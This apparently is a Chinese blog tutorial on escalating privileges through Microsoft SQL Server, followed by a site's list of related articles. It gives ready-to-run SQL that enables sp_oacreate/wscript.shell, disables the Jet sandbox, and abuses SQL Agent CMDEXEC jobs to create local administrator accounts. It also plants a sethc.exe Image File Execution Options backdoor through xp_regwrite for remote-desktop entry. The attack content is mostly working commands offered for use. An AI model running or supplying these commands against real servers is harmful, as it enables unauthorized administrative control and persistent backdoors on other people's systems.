如何进行MSSQL提权?sp_oacreate、sp_oamethod和沙盒提权以及xp_regwrighte提权

1、sp_oacreate、sp_oamethod提权

1、开启sp-oascreate

执行下面的语句

注意:2005默认是禁用的。2000默认开启。(可以同时执行)

execsp_configure'show advanced options',1;

RECONFIGURE;

execsp_configure'Ole Automation Procedures',1;

RECONFIGURE;

2、创建账户

开启sp-ascreate之后,创建账户(语句可以同时同时执行)

declare**@cmd**INT;

execsp_oacreate 'wscript.shell',@cmdoutput;

execsp_oamethod @cmd,'run',null,'net user hack hack /add','0','true';

execsp_oacreate 'wscript.shell',@cmdoutput;

execsp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true';

先检测命令是否无误

直接执行命令

2、沙盒提权

1、开启Ad Hoc Distributed

exec sp_configure'show advanced options',1

reconfigure

exec sp_configure'Ad Hoc Distributed Queries',1

reconfigure

2、关掉沙盒模式

EXECmaster .dbo .xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

3、添加账号

Select* FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');

验证账号是否创建成功

4、加入管理员组

Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');

3、JOB提权

1、启动sqlagent服务

execmaster .dbo .xp_servicecontrol'start','SQLSERVERAGENT'

2、创建任务

USE msdb

GO

-- 首先检查并删除已存在的作业(如果存在)

IF EXISTS (SELECT 1 FROM msdb.dbo.sysjobs WHERE name = 'x')

BEGIN

EXEC sp_delete_job @job_name = 'x'

END

GO

-- 创建新作业

EXEC sp_add_job

@job_name = 'x',

@enabled = 1

GO

-- 添加作业步骤 - 使用正确的子系统名称

EXEC sp_add_jobstep

@job_name = 'x',

@step_name = 'Step1',

@subsystem = 'CMDEXEC', -- 修正为正确的子系统名称

@command = 'cmd /c "net user hack hack /add & net user hack1 hack1 /add & net localgroup administrators hack1 /add > c:\q.txt"',

@on_success_action = 1

GO

-- 将作业附加到服务器

EXEC sp_add_jobserver

@job_name = 'x'

GO

-- 启动作业

EXEC sp_start_job @job_name = 'x'

GO

创建成功,并成功加入管理员组

4、xp_regwrighte提权(留后门)

1、利用regwrite函数修改注册表

EXEC master..xp_regwrite

@rootkey = 'HKEY_LOCAL_MACHINE',

@key = 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',

@value_name = 'Debugger',

@type = 'REG_SZ',

@value = 'c:\windows\system32\cmd.exe'

2、检查劫持是否成功

master..xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

如果这里没有成功,手动创建

上面图片按照这个路径往下点

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options

新建一个项,名字叫sethc.exe

选择字符串

内容为这个

远程连接开启

出现这个,选择否,图中箭头标错了

执行这个命令会弹出桌面explorer.exe

这样就直接进入别人桌面

至此,这种方式提权成功

相关推荐
IDC02_FEIYA1 小时前
SQL Server 2025数据库安装图文教程(附SQL Server2025数据库下载安装包)
数据库·windows
辞砚技术录1 小时前
MySQL面试题——联合索引
数据库·面试
萧曵 丶2 小时前
MySQL 主键不推荐使用 UUID 的深层原因
数据库·mysql·索引
小北方城市网2 小时前
分布式锁实战指南:从选型到落地,避开 90% 的坑
java·数据库·redis·分布式·python·缓存
毕设十刻2 小时前
基于Vue的人事管理系统67zzz(程序 + 源码 + 数据库 + 调试部署 + 开发环境配置),配套论文文档字数达万字以上,文末可获取,系统界面展示置于文末
前端·数据库·vue.js
TDengine (老段)4 小时前
TDengine Python 连接器入门指南
大数据·数据库·python·物联网·时序数据库·tdengine·涛思数据
萧曵 丶4 小时前
事务ACID特性详解
数据库·事务·acid
kejiayuan5 小时前
CTE更易懂的SQL风格
数据库·sql
kaico20185 小时前
MySQL的索引
数据库·mysql
清水白石0085 小时前
解构异步编程的两种哲学:从 asyncio 到 Trio,理解 Nursery 的魔力
运维·服务器·数据库·python